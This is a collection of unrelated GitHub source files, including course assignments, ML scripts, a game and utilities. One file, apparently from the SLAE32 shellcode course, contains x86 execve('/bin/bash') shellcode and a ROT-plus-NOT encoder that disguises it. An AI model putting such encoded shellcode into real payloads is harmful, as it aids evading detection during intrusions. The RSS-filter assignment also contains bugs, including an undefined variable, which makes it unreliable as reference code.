',newstory)#re.sub(punc,' ',story)\n# # if m.start() and m.end()-1 not in [0,len(story)-1]:\n \n \n# # if story[m.start()-1] ==' ' or story[m.end()-1]==' ':\n# # story = re.sub(punc,'',story)\n# # print(story)\n# # else:\n# # story = re.sub(punc,' ',story)\n# # else:\n# # story = re.sub(punc,' ',story)\n# print(m)\n# # story = re.sub(punc,'', story)\n# print(newstory)\n# # for i in string.punctuation:\n# # story = story.replace(i,' ')\n# story = newstory.lower().strip()\n# # story = story.translate(str.maketrans('','',string.punctuation))\n \n# #print(story)\n# if phrase.strip() in story:\n# print(phrase,'|',story,True)\n# return True\n# print(phrase,'|',story,False)\n# return False\n \n# Problem 3\nclass TitleTrigger(PhraseTrigger):\n \n def evaluate(self, story):\n return self.is_phrase_in(story.get_title())\n\n \n\n# Problem 4\nclass DescriptionTrigger(PhraseTrigger):\n \n def evaluate(self, story):\n return self.is_phrase_in(story.get_description())\n\n# TIME TRIGGERS\n\n# Problem 5\n# Constructor:\n# Input: Time has to be in EST and in the format of \"%d %b %Y %H:%M:%S\".\n# Convert time from string to a datetime before saving it as an attribute.\nclass TimeTrigger(Trigger):\n def __init__(self, time):\n self.time = datetime.strptime(time,\"%d %b %Y %H:%M:%S\").replace(tzinfo=pytz.timezone(\"EST\"))\n \n def get_time(self):\n return self.time\n \n# Problem 6\nclass BeforeTrigger(TimeTrigger):\n def evaluate(self,story):\n return self.time > story.get_pubdate().replace(tzinfo=pytz.timezone(\"EST\"))\n\nclass AfterTrigger(TimeTrigger):\n def evaluate(self,story):\n return self.time < story.get_pubdate().replace(tzinfo=pytz.timezone(\"EST\"))\n\n# COMPOSITE TRIGGERS\n\n# Problem 7\nclass NotTrigger(Trigger):\n def __init__(self, T):\n self.T = T\n \n def get_T(self):\n return self.T\n \n def evaluate(self,story):\n return not self.T.evaluate(story)\n# Problem 8\nclass AndTrigger(Trigger):\n def __init__(self, T1, T2):\n self.T1 = T1\n self.T2 = T2\n \n def get_T1(self):\n return self.T1\n \n def get_T2(self):\n return self.T2\n \n def evaluate(self,story):\n if (self.T1.evaluate(story)==True and self.T2.evaluate(story)==True):\n return True\n return False\n\n# Problem 9\nclass OrTrigger(Trigger):\n def __init__(self, T1, T2):\n self.T1 = T1\n self.T2 = T2\n \n def get_T1(self):\n return self.T1\n \n def get_T2(self):\n return self.T2\n \n def evaluate(self,story):\n if (self.T1.evaluate(story)==True or self.T2.evaluate(story)==True):\n return True\n return False\n\n#======================\n# Filtering\n#======================\n\n# Problem 10\ndef filter_stories(stories, triggerlist):\n \"\"\"\n Takes in a list of NewsStory instances.\n\n Returns: a list of only the stories for which a trigger in triggerlist fires.\n \"\"\"\n filtered_stories = []\n \n # search through each story and execute triggers. If trigger returns true then \n # add story to filtered story list\n for story in stories:\n for trigger in triggerlist:\n if trigger.evaluate(story) == True:\n filtered_stories.append(story)\n break\n \n return filtered_stories\n\n\n\n#======================\n# User-Specified Triggers\n#======================\n# Problem 11\ndef read_trigger_config(filename):\n \"\"\"\n filename: the name of a trigger configuration file\n\n Returns: a list of trigger objects specified by the trigger configuration\n file.\n \"\"\"\n # We give you the code to read in the file and eliminate blank lines and\n # comments. You don't need to know how it works for now!\n trigger_file = open(filename, 'r')\n lines = []\n for line in trigger_file:\n line = line.rstrip()\n if not (len(line) == 0 or line.startswith('//')):\n lines.append(line)\n\n # line is the list of lines that you need to parse and for which you need\n # to build triggers\n \n trigger_lines = []\n for item in lines:\n trigger_lines.append(tuple(item.split(',')))\n \n # keys from triggers.txt file\n trigger_keys = ['TITLE','DESCRIPTION','AFTER','BEFORE','AND','OR','NOT','ADD']\n \n trigger_dict = {}\n for trig in trigger_lines:\n for key in trigger_keys:\n if key==trig[1]:\n trigger_dict[trig[0]] = []\n for i in range(len(trig)-1):\n trigger_dict[trig[0]].append(tup[i+1])\n elif key == trig[0]:\n trigger_dict[trig[0]] = []\n for i in range(len(trig)-1):\n trigger_dict[trig[0]].append(trig[i+1])\n \n trigger_list = []\n trig_dict = {}\n \n for key,val in trigger_dict.items():\n\n if \"TITLE\" in val:\n obj = TitleTrigger(val[1])\n trig_dict.setdefault(key, obj)\n\n elif \"DESCRIPTION\" in val:\n obj = DescriptionTrigger(val[1])\n trig_dict.setdefault(key, obj)\n\n elif \"Before\" in val:\n obj = BeforeTrigger(val[1])\n trig_dict.setdefault(key, obj)\n\n elif \"AFTER\" in val:\n obj = AfterTrigger(val[1])\n trig_dict.setdefault(key, obj)\n\n elif \"AND\" in val:\n obj = AndTrigger(val[1], val[2])\n trig_dict.setdefault(key, obj)\n\n elif \"OR\" in val:\n obj = OrTrigger(val[1], val[2])\n trig_dict.setdefault(key, obj)\n\n elif key == \"NOT\":\n obj = NotTrigger(val[1])\n trig_dict.setdefault(key, obj)\n\n # add specified triggers to the list\n elif key == \"ADD\":\n for item in val:\n for obj_key, obj in trig_dict.items():\n if item == obj_key:\n trigger_list.append(obj)\n\n return trigger_list\n\n\nSLEEPTIME = 120 #seconds -- how often we poll\n\ndef main_thread(master):\n # A sample trigger list - you might need to change the phrases to correspond\n # to what is currently in the news\n try:\n t1 = TitleTrigger(\"trump\")\n t2 = DescriptionTrigger(\"Trump\")\n t3 = DescriptionTrigger(\"Clinton\")\n t4 = AndTrigger(t2, t3)\n triggerlist = [t1, t4]\n\n # Problem 11\n # TODO: After implementing read_trigger_config, uncomment this line \n # triggerlist = read_trigger_config('triggers.txt')\n \n # HELPER CODE - you don't need to understand this!\n # Draws the popup window that displays the filtered stories\n # Retrieves and filters the stories from the RSS feeds\n frame = Frame(master)\n frame.pack(side=BOTTOM)\n scrollbar = Scrollbar(master)\n scrollbar.pack(side=RIGHT,fill=Y)\n\n t = \"Google & Yahoo Top News\"\n title = StringVar()\n title.set(t)\n ttl = Label(master, textvariable=title, font=(\"Helvetica\", 18))\n ttl.pack(side=TOP)\n cont = Text(master, font=(\"Helvetica\",14), yscrollcommand=scrollbar.set)\n cont.pack(side=BOTTOM)\n cont.tag_config(\"title\", justify='center')\n button = Button(frame, text=\"Exit\", command=root.destroy)\n button.pack(side=BOTTOM)\n guidShown = []\n def get_cont(newstory):\n if newstory.get_guid() not in guidShown:\n cont.insert(END, newstory.get_title()+\"\\n\", \"title\")\n cont.insert(END, \"\\n---------------------------------------------------------------\\n\", \"title\")\n cont.insert(END, newstory.get_description())\n cont.insert(END, \"\\n*********************************************************************\\n\", \"title\")\n guidShown.append(newstory.get_guid())\n\n while True:\n\n print(\"Polling . . .\", end=' ')\n # Get stories from Google's Top Stories RSS news feed\n stories = process(\"http://news.google.com/news?output=rss\")\n\n # Get stories from Yahoo's Top Stories RSS news feed\n stories.extend(process(\"http://news.yahoo.com/rss/topstories\"))\n\n stories = filter_stories(stories, triggerlist)\n\n list(map(get_cont, stories))\n scrollbar.config(command=cont.yview)\n\n\n print(\"Sleeping...\")\n time.sleep(SLEEPTIME)\n\n except Exception as e:\n print(e)\n\n\nif __name__ == '__main__':\n root = Tk()\n root.title(\"Some RSS parser\")\n t = threading.Thread(target=main_thread, args=(root,))\n t.start()\n root.mainloop()\n\n","repo_name":"schockr/MIT-OCW_6.0001","sub_path":"ps5/ps5.py","file_name":"ps5.py","file_ext":"py","file_size_in_byte":15586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24907329861","text":"from airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\nfrom helpers import SqlQueries\n\n\nclass InitRedshiftOperator(BaseOperator):\n\n ui_color = '#358140'\n\n @apply_defaults\n def __init__(self,\n redshift,\n aws_credentials,\n *args,\n **kwargs):\n \"\"\"\n Initialize the InitRedshiftOperator\n\n :param redshift: Postgres connection to redshift\n :param aws_credentials: AWS credentials object\n :param args: Additional args\n :param kwargs: Additional keyword args\n \"\"\"\n super(InitRedshiftOperator, self).__init__(*args, **kwargs)\n self.credentials = aws_credentials\n self.redshift = redshift\n\n def execute(self, context):\n \"\"\"\n (Re)Create all redshift tables used in the DAG\n All drop/create statement are defined in the SqlQueries helper\n\n :param context: The execution context\n :return:\n \"\"\"\n\n for sql in SqlQueries.drop_table_queries:\n self.log.info(f\"{sql}\")\n self.redshift.run(sql)\n\n for sql in SqlQueries.create_table_queries:\n self.log.info(f\"{sql}\")\n self.redshift.run(sql)\n\n\n","repo_name":"erikjmiller/udacity_pipelines","sub_path":"plugins/operators/init_redshift.py","file_name":"init_redshift.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15158301800","text":"import pygame\nfrom map import *\nfrom player import *\nfrom camera import *\n\nWIN_WIDTH = 800\nWIN_HEIGHT = 640\nDISPLAY = (WIN_WIDTH, WIN_HEIGHT)\nBACKGROUND_COLOR = \"#004400\"\n\npygame.init()\nscreen = pygame.display.set_mode(DISPLAY)\npygame.display.set_caption(\"Супер Марио\")\n\nclock = pygame.time.Clock()\n\nall_sprite = pygame.sprite.Group()\nblocks = pygame.sprite.Group()\nmap(all_sprite, blocks)\nplayer = Player(all_sprite, x=40, y=40)\n\nlevel_width = len(level_map[0]) * PLATFORM_WIDTH\nlevel_height = len(level_map[0]) * PLATFORM_HEIGHT\ncamera = Camera(level_width, level_height)\n\nrun = True\nwhile run:\n screen.fill(BACKGROUND_COLOR)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n player.update(blocks)\n\n camera.update(player)\n for sprite in all_sprite:\n screen.blit(sprite.image, camera.apply(sprite))\n\n player.update(blocks)\n pygame.display.update()\n clock.tick(60)\n\npygame.quit()","repo_name":"leonyaognev/ptk2","sub_path":"lesson7/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31989080435","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom tensorflow.keras import Sequential, layers\nimport pandas as pd\nimport numpy as np\nfrom scipy import stats\nfrom tensorflow import keras\n\nfrom matplotlib import pyplot as plt\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error\n\ndata_path = \"../dataset/\"\nresults_path = \"../results/\"\nmodel_name = \"cnn_3conv_1flt_1dpo_1dense\"\n\nthetav = np.loadtxt(data_path + \"thetav-1000.csv\",delimiter=',')\nVec = np.loadtxt(data_path + 'Vecv-1000.csv',delimiter = ',')\n\n# Data pre-processing ---------------------------------------------\nsc = MinMaxScaler()\nX_n = sc.fit_transform(Vec)\nsc2 = MinMaxScaler()\ny_n = sc2.fit_transform(thetav)\n\nX_n = X_n.reshape(-1,8000,1)\nselect=[1]\n\ntrain_size = 0.7\nlng = len(X_n)\nX_treinamento = X_n[:round(lng*0.6)]\ny_treinamento = y_n[:round(lng*0.6)]\nX_valid = X_n[round(lng*0.6):round(lng*0.85)]\ny_valid = y_n[round(lng*0.6):round(lng*0.85)]\nX_test = X_n[round(lng*0.85):]\ny_test = y_n[round(lng*0.85):]\nX_treinamento, X_valid, X_test = X_treinamento.reshape(-1,X_treinamento.shape[1],1), X_valid.reshape(-1,X_treinamento.shape[1],1), X_test.reshape(-1,X_treinamento.shape[1],1)\n\nX_treinamento.shape,y_treinamento.shape, X_valid.shape, y_valid.shape, X_test.shape, y_test.shape\n\n# Model compilation ------------------------------------------------------------------------------\ndef get_model():\n input_layer1 = keras.layers.Input(X_treinamento.shape[1:])\n\n conv1 = keras.layers.Conv1D(filters=32, kernel_size=8,strides=400)(input_layer1)\n conv1 = keras.layers.MaxPooling1D()(conv1)\n conv1 = keras.layers.Activation(activation='relu')(conv1)\n\n conv2 = keras.layers.Conv1D(filters=64, kernel_size=3)(conv1)\n conv2 = keras.layers.MaxPooling1D()(conv2)\n conv2 = keras.layers.Activation(activation='relu')(conv2)\n\n conv3 = keras.layers.Conv1D(filters=96, kernel_size=3)(conv2)\n conv3 = keras.layers.MaxPooling1D()(conv3)\n conv3 = keras.layers.Activation(activation='relu')(conv3)\n\n flt = keras.layers.Flatten()(conv3)\n dropout = keras.layers.Dropout(0.4)(flt)\n\n dense2 = keras.layers.Dense(50,activation='relu')(dropout)\n\n out = keras.layers.Dense(10, activation='linear')(dense2)\n\n model = keras.models.Model(inputs=input_layer1, outputs=out)\n\n\n model.compile(optimizer=tf.keras.optimizers.Adam(), # Optimizer\n loss='mse')\n\n return model\n\nreduce_lr = keras.callbacks.ReduceLROnPlateau(monitor='loss', factor=0.5, patience=20,\n min_lr=0.0001)\nfile_path = '../models/' + model_name + '.hdf5'\nmodel_checkpoint = keras.callbacks.ModelCheckpoint(filepath=file_path, monitor='loss', save_best_only=True)\ncallbacks = [reduce_lr, model_checkpoint]\n\nmodel = get_model()\nmodel.summary()\n\nprint('# Fit model on training data')\nhistory = model.fit(X_treinamento, (y_treinamento),\n batch_size=10,\n epochs=300,\n verbose=0,\n # We pass some validation for\n # monitoring validation loss and metrics\n # at the end of each epoch\n validation_data=(X_valid, (y_valid)),\n callbacks=callbacks)\n \n\n# Results -----------------------------------------------------------------\nplt.figure()\nplt.plot(history.history['loss'], label='Erro treinamento')\nplt.plot(history.history['val_loss'], label='Erro validação')\nplt.legend()\nplt.show()\n\nCONV1D_MODEL = keras.models.load_model(file_path)\ny_pred_CONV1D = CONV1D_MODEL.predict(X_test)\n\nMSE = ((y_test - y_pred_CONV1D)**2).mean(axis=0)\nprint(MSE)\n\nplt.rcParams.update({'font.size': 16})\nplt.figure(figsize = (8,5))\nplt.plot(history.history['loss'], label='Treinamento')\nplt.plot(history.history['val_loss'], label='Validação')\nplt.xlabel('Épocas')\nplt.legend()\nplt.savefig(results_path + model_name + '.png',bbox_inches = 'tight', dpi=300)","repo_name":"MaximoDouglas/systemic-blood-pressure-regression","sub_path":"code/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":4066,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"48"} +{"seq_id":"34274808260","text":"from sympy import symbols, integrate, Rational, lambdify, sqrt\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# For a certain​ drug, the rate of reaction in appropriate units is given by\n\nt = symbols( 't', positive = True )\ndR = ( 2 / ( t + 1 ) ) + ( 2 / sqrt( t + 1 ) )\n\n# where t is time​ (in hours) after the drug is administered. Find the total reaction to the drug over the following time periods.\n\n# The total reaction from 1-9 is:\nt_1 = integrate( dR, ( t, 1, 9 ) ).evalf()\nround( t_1, 3 )\n\n# The total reaction from 9-24 is:\nt_2 = integrate( dR, ( t, 9, 24 ) ).evalf()\nround( t_2, 3 )\n\ng_xlim = [ 1, 30 ]\ng_ylim = [ -5, 15 ]\n\nlam_p = lambdify( t, integrate( dR, t ), np )\n\nx_vals = np.linspace( g_xlim[0], g_xlim[1], 1000, endpoint=True )\ny_vals = lam_p( x_vals )\nplt.plot( x_vals, y_vals )\nplt.show()","repo_name":"bmoretz/MS-DataScience","sub_path":"Misc/Python/drug_reaction.py","file_name":"drug_reaction.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"25322924182","text":"#-*- codeing=utf-8 -*-\n#@Time:2022/6/15 16:42\n#@Author:王钰娜\n#@File : predictTree.py\n#@Software:PyCharm\n\nimport pandas as pd\nfrom sklearn.feature_extraction import DictVectorizer\nfrom sklearn import tree\nfrom sklearn.model_selection import train_test_split\n\n\n#filename='F:\\桌面\\数据可视化\\计卓班 数据可视化技术 大作业\\计卓班 数据可视化技术 大作业\\电商行业-超市销售数据分析7.0版本\\超市销售分析.xls'\nfilename='超市销售分析.xls'\ndata = pd.read_excel(io=filename, sheet_name=0, header=0)\n# 去空\ndata.dropna(axis=0, how='any', inplace=True) # axis=0表示index行 \"any\"表示这一行或列中只要有元素缺失,就删除这一行或列\nto_drop=['行 ID', '订单 ID','订单日期','发货日期', '邮寄方式', '客户 ID', '客户名称', '细分', '城市', '省/自治区', '国家',\n '产品 ID','类别', '子类别','产品名称','地区','折扣','数量']\ndata=data.drop(to_drop, axis=1)\n\n'''提取特征和标签数据'''\n# 特征features\nexamX=data['销售额']\n# 标签labes\nexamY=data['利润']\n\n'''建立训练数据和测试数据'''\nfrom sklearn.model_selection import train_test_split\n\n#建立训练数据和测试数据\n# 变量依次为:数量数据特征、测试数据特征、训练数据标签、测试数据标签\nx_train, x_test, y_train, y_test=train_test_split(examX,examY,train_size=0.25)\n\n# 将训练数据特征x_train转换为2D array XX行*1列\nX_train=x_train.values.reshape(-1,1)\n# 将测试数据特征x_test 转换为2D array XX行*1列\nX_test=x_test.values.reshape(-1,1)\n# 将训练数据特征y_train转换为2D array XX行*1列\nY_train=y_train.values.reshape(-1,1)\n# 将测试数据特征y_test 转换为2D array XX行*1列\nY_test=y_test.values.reshape(-1,1)\n\n#划分成训练集,验证集,验证集,不过这里我们数据量不够大,没必要\n#此段代码中,test_size = 0.25,表示把数据集划分为两份,训练集和测试集之比为4:1(二八原则)\n#关于train_test_split(),随机划分训练集和测试集的函数,可参考博客:https://blog.csdn.net/qq_38410428/article/details/94054920\n#train_x, test_x, train_y, test_y = train_test_split(X_train, Y_train, test_size = 0.25)\n#训练决策树\nclf = tree.DecisionTreeClassifier(criterion='gini')\nmodel = clf.fit(X_train,y_train.astype('int'))\n\n# #如果划分了,训练集、验证集和测试集,加上此步骤,看训练好的决策树在测试集上的准确率\n# res = model.predict(X_test)\n# print(res) #模型结果输出\n# print(Y_test) #实际值\n# print((sum(res==Y_test)/len(res))) #准确率\nprint(\"==========================\")\nscore = model.score(X_test,y_test.astype('int'))\nprint(\"R²=\"+str(score))\nprint(\"==========================\")\npredict_value=129.696\nA = ([[predict_value]]) #销售额\npredict_result = clf.predict(A)\nprint('销售额为:'+str(predict_value)+' 利润值预测结果:'+str(predict_result))","repo_name":"wangyuna7723/SupermarketAnalysis","sub_path":"predictTree.py","file_name":"predictTree.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"23954093330","text":"#!/usr/bin/python\nimport sys\n\n# ROT X + NOT encoder / decoder\n# For SLAE32\n# Howard McGreehan\n\nif len(sys.argv) < 2:\n print(\"[!] Provide a shift\")\n sys.exit()\nelse:\n shellcode = (\"\\x31\\xc0\\x50\\x68\\x62\\x61\\x73\\x68\\x68\\x62\\x69\\x6e\\x2f\\x68\\x2f\\x2f\\x2f\\x2f\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\")\n\n# Set up a few variables for use in our loop\norig = \"\"\nencoded = bytearray()\nencodedOut1 = \"\"\nencodedOut2 = \"\"\nencodedOut3 = \"\"\nencoded2 = \"\"\n\n# We can't let the bytes become bigger than 256 minus the value we add!\naddVal = int(sys.argv[1])\nmaxVal = 256 - addVal\n\n# Create a loop to encode our shellcode\nfor byte in bytearray(shellcode): \n\n # For sanity, we'll print out the original shellcode\n orig += '\\\\x%02x' % (byte & 0xff)\n\n # Check how big the byte is, if it's going to be larger than the \n # maxVal, we need to account for it (otherwise it's bigger than a byte)\n if (byte < maxVal):\n tmp = (~(byte + addVal))&0xff\n encodedOut1 += '\\\\x%02x' % (tmp)\n encodedOut2 += '%02x' % (tmp)\n encodedOut3 += '0x%02x,' % (tmp)\n encoded.append(tmp)\n else:\n tmp = (~(addVal - maxVal + byte))&0xff\n encodedOut1 += '\\\\x%02x' % (tmp)\n encodedOut2 += '%02x' % (tmp)\n encodedOut3 += '0x%02x,' % (tmp)\n encoded.append(tmp)\n\n# Simple decoder\n# Does the inverse of above\nfor byte in bytearray(encoded):\n\n if (byte < maxVal):\n tmp = (~byte - addVal)&0xff\n encoded2 += '\\\\x%02x' % (tmp)\n else:\n tmp = (addVal + maxVal - ~byte)&0xff\n encoded2 += '\\\\x%02x' % (tmp)\n\nl1 = len(bytearray(shellcode))\n\nprint(\"Original shellcode (%s bytes): \\n%s\\n\") % (str(l1), orig)\nprint(\"Shift %s + NOT Encodings:\\n\") % (int(addVal))\n\nprint(\"%s\\n\") % (encodedOut1)\nprint(\"0x%s\\n\") %(encodedOut2)\nprint(\"%s\\n\") % (encodedOut3)\nprint(\"Unshift (should be orig): \\n%s\\n\") % (encoded2)\n\n","repo_name":"pAP3R/public","sub_path":"SLAE32/assignments/task4/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9907556242","text":"import numpy as np\nimport cv2\nimport readingCsv\nimport img_manipulator\nimport csv\n\nleft_imgs = []\nright_imgs = []\ncenter_imgs = []\nsteering_angles= []\ndef read_csv():\n i = 0\n with open('/home/shiva/data/driving_log.csv', 'r') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n\n for row in csvreader:\n if i == 0:\n print(row)\n else:\n center_imgs.append(row[0])\n left_imgs.append(row[1])\n right_imgs.append(row[2])\n steering_angles.append(row[3])\n i+=1\n\ndef main():\n read_csv()\n for i in range (0,5):\n src = cv2.imread()\n return left_imgs, right_imgs, center_imgs, steering_angles\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"shivareddy37/Behaviour_cloning","sub_path":"udacity_data_reading.py","file_name":"udacity_data_reading.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34725558110","text":"import re\n\n# _*_ coding:utf-8 _*_\n\nimport numpy as np\nimport scipy.io as sio\nfrom scipy import stats\n\nek=stats.norm.rvs(0,0.01,size=[3000,5])\nvk=stats.norm.rvs(0,0.01,size=[3000,3])\n\nA=[[0.5205,0.1022,0.0599],\n [0.5367,-0.0139,0.4159],\n [0.0412,0.6054,0.3874]]\n\nP=[ [0.4316,0.1723,-0.0574],\n [0.1202,-0.1463,0.5348],\n [0.2483,0.1982,0.4797],\n [0.1151,0.1557,0.3739],\n [0.2258,0.5461,-0.0424]]\n\nc=[0.5205 ,0.5367 ,0.0412]\n\nt=[[1],[1],[1]]\n\nA=np.array(A)\nP=np.array(P)\nc=np.array(c).T\nt=np.array(t)\n\ndef data_generation(A,P,c,t,ek,vk):\n for i in range(0,3000):\n if i>0:\n temp_t=c+A@t[:,i-1]+vk[i,:].T\n temp_t=np.reshape(temp_t,[3,1])\n t=np.append(t,temp_t,axis=1)\n if i==0:\n xk=P@t[:,i]+ek[i,:].T\n xk = np.reshape(xk, [5, 1])\n else:\n xk_temp=P@t[:,i]+ek[i,:].T\n xk_temp = np.reshape(xk_temp, [5, 1])\n xk=np.append(xk,xk_temp,axis=1)\n xk=np.array(xk)\n X=xk.T\n X={'X':X}\n sio.savemat('./DiPCA_Data.mat', X)\n return X\ndef data_generation_err1(A,P,c,t,ek,vk):\n error=np.array([3,0,0,0,0])\n error = np.reshape(error, [5, 1])\n for i in range(0,1000):\n if i>0:\n temp_t=c+A@t[:,i-1]+vk[i,:].T\n temp_t=np.reshape(temp_t,[3,1])\n # if i > 200:temp_t+=error\n t=np.append(t,temp_t,axis=1)\n if i==0:\n xk=P@t[:,i]+ek[i,:].T\n xk = np.reshape(xk, [5, 1])\n else:\n xk_temp = P@t[:, i] + ek[i, :].T\n xk_temp = np.reshape(xk_temp, [5, 1])\n if i > 200: xk_temp += error\n xk=np.append(xk,xk_temp,axis=1)\n xk=np.array(xk)\n X=xk.T\n X={'X':X}\n sio.savemat('./DiPCA_Data_err1.mat', X)\n return X\nif __name__==\"__main__\":\n data_generation(A,P,c,t,ek,vk)\n data_generation_err1(A,P,c,t,ek,vk)\n\n\n","repo_name":"relax-www/Extract_Feature","sub_path":"data/data_generate.py","file_name":"data_generate.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37758960879","text":"from ast import List\n\n\"\"\"\nAlgorithm: \nSince this is a sorted array even though it is a rotated, we can utilize the binary search here. \nAs always, we run the loop with left <= right, and calculate the min = left + (right - left) // 2\nCheck if mid == target, then return mid\nMain intiution is to chase target in the correct sequence area, like 2,3,4,5,6,7 find target here, or 1,2,3,4,5 instead 6,7,1,2,3 in this area should be else statements.\nnums[left] <= nums[mid]\n if nums[left] <= target < nums[mid]: right = mid -1 else left = mid + 1\nnums[left] > nums[mid]\n nums[mid] < target <= nums[right]\n\"\"\"\n\nclass Solution:\n # t: O(LogN)\n # s: O(1)\n def search(self, nums: List[int], target: int) -> int:\n \n l, r = 0, len(nums) - 1\n\n while l <= r:\n \n m = l + (r - l) // 2\n \n if nums[m] == target:\n return m\n elif nums[l] <= nums[m]:\n if nums[l] <= target < nums[m]:\n right = mid - 1\n else:\n left = mid + 1\n else:\n if nums[mid] < target <= nums[right]:\n left = mid + 1\n else:\n right = mid - 1\n return -1\n \n # Main if-else scenarios\n # [3][4][5][6][7][8][9][1][2]\n # [8][7][6][5][4][3][2][1][9]","repo_name":"ermantatar/Algorithms","sub_path":"Python/0_______ARRAY_______/Binary_Search/Search_In_Rotated_Sorted_Array.py","file_name":"Search_In_Rotated_Sorted_Array.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71744683026","text":"from proc import *\nfrom allansm.argsHandle import *\n\nargs = getArgs([\"--exe\"])\n\nout = getOutput()\nproc = getProcess(out)\nmem = getMemory(out)\n\nrr = lambda array: list(dict.fromkeys(array))\n\nprogram = {}\n\nfor n in range(0,len(proc)):\n try:\n if(program[proc[n]] == None):\n program[proc[n]] = 0\n except:\n program[proc[n]] = 0\n\n program[proc[n]]+= float(mem[n])\n\nprint(\"------------------------------------\")\nprint(\"process mb\")\nprint(\"------------------------------------\")\n\nh = {}\nh[\"mem\"] = 0\nfor n in rr(proc):\n if(program[n] > h[\"mem\"]):\n h[\"name\"] = n\n h[\"mem\"] = program[n]\n\norder = []\norder.append(h[\"name\"])\n\nwhile(len(order) < len(rr(proc))):\n tmp = {}\n tmp[\"name\"] = None\n tmp[\"mem\"] = 0\n\n for n in rr(proc):\n if(program[n] < h[\"mem\"] and program[n] > tmp[\"mem\"]):\n tmp[\"name\"] = n\n tmp[\"mem\"] = program[n]\n \n order.append(tmp[\"name\"])\n \n h = tmp\n\ntotal = 0\nfor n in order:\n try:\n total += program[n]\n if(args.exe != None):\n size = len(n)\n space = \"\"\n if(size < 30):\n for x in range(1,30-size):\n space+=\" \"\n\n if(args.exe+\".exe\" == n.strip()):\n print(n+space+\" \"+str(round(program[n]/1024)))\n else:\n size = len(n)\n space = \"\"\n if(size < 30):\n for x in range(1,30-size):\n space+=\" \"\n\n print(n+space+\" \"+str(round(program[n]/1024)))\n except:\n dummy=0\n\nprint(\"\")\nprint(\"total \"+str(round(total/1024)))\nprint(\"------------------------------------\")\n\n","repo_name":"allansm/python-tests","sub_path":"windows/mem.py","file_name":"mem.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3946629286","text":"from django.urls import path\nfrom .views import ClubViewSet, EventViewSet\n\nlist_events = EventViewSet.as_view({\n \"get\": \"list_events\"\n})\n\nevent_details = EventViewSet.as_view({\n \"get\": \"event_details\"\n})\n\nregister_for_an_event = EventViewSet.as_view({\n \"get\": \"register_for_an_event\"\n})\n\nlist_clubs = ClubViewSet.as_view({\n \"get\": \"list_clubs\"\n})\n\nclub_details = ClubViewSet.as_view({\n \"get\": \"club_details\"\n})\n\njoin_club = ClubViewSet.as_view({\n \"get\": \"join_club\"\n})\n\nurlpatterns = [\n path(\"list_events/\", list_events, name=\"list_events\"),\n path(\"event_details//\", event_details, name=\"event_details\"),\n path(\"register_for_an_event///\", register_for_an_event, name=\"register_for_an_event\"),\n path(\"join_club///\", join_club, name=\"join_club\"),\n path(\"list_clubs/\", list_clubs, name=\"list_clubs\"),\n path(\"club_details//\", club_details, name=\"club_details\"),\n]","repo_name":"AayushK11/MIT-Coin","sub_path":"Backend/events/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72608842065","text":"import numpy as np\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\nprint (\"Zadoff Chu Sequence....\")\n\"root = root is base of the sequence and rest if all cyclically shift\"\n\"cyclically shift makes the zadoff chu sequence orthogonal to each\"\n\"sequence\"\n\"N is total length of the sequence\"\n\ndef generate_zadoff_chu_sequence(root,N):\n sequence = np.zeros(N,dtype=complex)\n \n for n in range(10):\n sequence[n] = np.exp(-1j*np.pi * root * n * (n +1)/N)\n \n return sequence\n \ndef cyclic_shift(sequence, shift):\n N = len(sequence)\n shifted_sequence = np.roll(sequence, shift)\n return shifted_sequence \n\nroot=40\nN=20\n\nzadoff_chu_seq = generate_zadoff_chu_sequence(root,N)\nprint(zadoff_chu_seq)\nshifted_seq = cyclic_shift(zadoff_chu_seq, 1)\nprint(shifted_seq)","repo_name":"manjit00/code","sub_path":"zadoffchuseq.py","file_name":"zadoffchuseq.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10519356384","text":"'''\nSolicitar el ingreso de un número entero. Si es número ingresado es impar, \nse deberán imprimir los números correlativos desde el ingresado hasta el doble del mismo. \nSi el número ingresado es par, se deberán mostrar los números pares desde el ingresado \nhasta el doble del ingresado. 